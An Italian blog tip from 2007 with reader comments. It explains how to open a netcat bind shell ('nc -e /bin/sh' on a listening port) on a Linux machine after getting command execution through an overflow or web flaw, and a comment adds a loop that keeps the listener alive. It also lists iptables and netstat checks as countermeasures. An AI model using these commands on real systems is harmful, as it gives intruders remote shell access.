sabato 22 settembre 2007

Creare una shell remota su linux "on the fly"

Vediamo un veloce tips su come creare shell remote su un sistema linux.
Ipotizziamo di riuscire ad eseguire un comando su una macchina remota (buffer overflow, vulnerabilità web...):

nc -vv -l -p 10000 -e /bin/sh

Questo comando utilizza netcat, il coltellino svizzero del tcp/ip (come viene chiamato). Non fa altro che rimanere in ascolto (-l) sulla porta 10000 (-p) ed eseguire un comando (-e). In questo caso, esegue una shell di comando. Inutile dire che se eseguito come root, avrete da remoto i diritti dell'amministratore...
Per provarla, basta collegarsi da un'altro computer (o dallo stesso se volete testarlo in locale, aprite un'altra scheda nel terminale) e digitare:

nc -vv localhost 10000

Il (-vv) è il very verbose, utile ma non indispensabile. Certo, la shell è molto stupida (non ha colori; non riesce a ricevere input dopo l'esecuzione del comando, ad esempio premere la barra durante il comando more). Però funziona ;-)

Contromisure: creare delle regole iptables che mantengano tutte le porte esterne chiuse (tranne quelle usate dai servizi indispensabili: la 80 per un server web ad esempio, rimarrà aperta).
E' anche possibile creare uno script (eseguibile periodicamente via cron) che controlli le connessioni aperte. Per visualizzarle infatti è disponibile il comando:

netstat -an

In questo modo è possibile controllare le socket connected e listen ;-)

PS: dopo aver terminato la prima connessione alla shell remota, quest'ultima si chiuderà. Per far si che rimanga aperta, bisogna creare uno script apposito...google docet ;-)

2 commenti:

Filippo Zangheri ha detto...

ciao Stefano, la maniera più pratica per far si che la connessione non cada è:

while :; do nc -l -p 10000; done

in realtà qui la connessione cade, solo che è sostituita on-the-fly da una nuova connessione.

--
Filippo

Unknown ha detto...

Bravo hai anticipato l'ultimo podcast di CeSeNA che parla proprio di questo tips :-D